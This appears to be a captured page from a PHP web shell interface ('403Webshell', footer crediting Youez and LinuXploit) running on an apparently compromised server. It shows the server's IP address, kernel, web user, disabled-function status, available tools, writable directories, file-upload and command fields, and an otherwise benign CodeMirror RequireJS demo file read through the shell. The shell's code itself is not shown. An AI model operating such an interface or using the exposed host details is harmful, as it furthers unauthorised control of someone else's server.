403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.20
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/doc/libjs-codemirror/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/libjs-codemirror/examples/requirejs.html
<!doctype html>

<head>
  <title>CodeMirror: HTML completion demo</title>
  <meta charset="utf-8"/>
  <link rel=stylesheet href="../html/docs.css">

  <link rel="stylesheet" href="/usr/share/javascript/codemirror/lib/codemirror.css">
  <link rel="stylesheet" href="/usr/share/javascript/codemirror/addon/hint/show-hint.css">
  <script src="/usr/share/javascript/requirejs/require.min.js"></script>
  <style>
    .CodeMirror {border-top: 1px solid #888; border-bottom: 1px solid #888;}
  </style>
</head>

<body>
  <div id=nav>
    <a href="https://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../html/logo.png"></a>
    <ul>
      <li><a href="../index.html">Home</a>
      <li><a href="../html/manual.html">Manual</a>
      <li><a href="https://github.com/codemirror/codemirror">Code</a>
    </ul>
    <ul>
      <li><a class=active href="#">HTML completion</a>
    </ul>
  </div>

  <article>
    <h2>RequireJS module loading demo</h2>

    <p>This demo does the same thing as
    the <a href="html5complete.html">HTML5 completion demo</a>, but
    loads its dependencies
    with <a href="http://requirejs.org/">Require.js</a>, rather than
    explicitly. Press <strong>ctrl-space</strong> to activate
    completion.</p>

    <div id="code"></div>

    <button id="markdown">Dynamically load Markdown mode</button>

    <script>
      require.config({
        packages: [{
          name: "codemirror",
          location: "../",
          main: "lib/codemirror"
        }]
      });
      require(["codemirror", "codemirror/mode/htmlmixed/htmlmixed",
               "codemirror/addon/hint/show-hint", "codemirror/addon/hint/html-hint",
               "codemirror/addon/mode/loadmode"], function(CodeMirror) {
        editor = CodeMirror(document.getElementById("code"), {
          mode: "text/html",
          extraKeys: {"Ctrl-Space": "autocomplete"},
          value: document.documentElement.innerHTML
        });

        CodeMirror.modeURL = "codemirror/mode/%N/%N";
        document.getElementById("markdown").addEventListener("click", function() {
          CodeMirror.requireMode("markdown", function() {
            editor.replaceRange("This is **Markdown**.\n\n", {line: 0, ch: 0});
            editor.setOption("mode", "markdown");
          });
        });
      });
    </script>
  </article>
</body>

Youez - 2016 - github.com/yon3zu
LinuXploit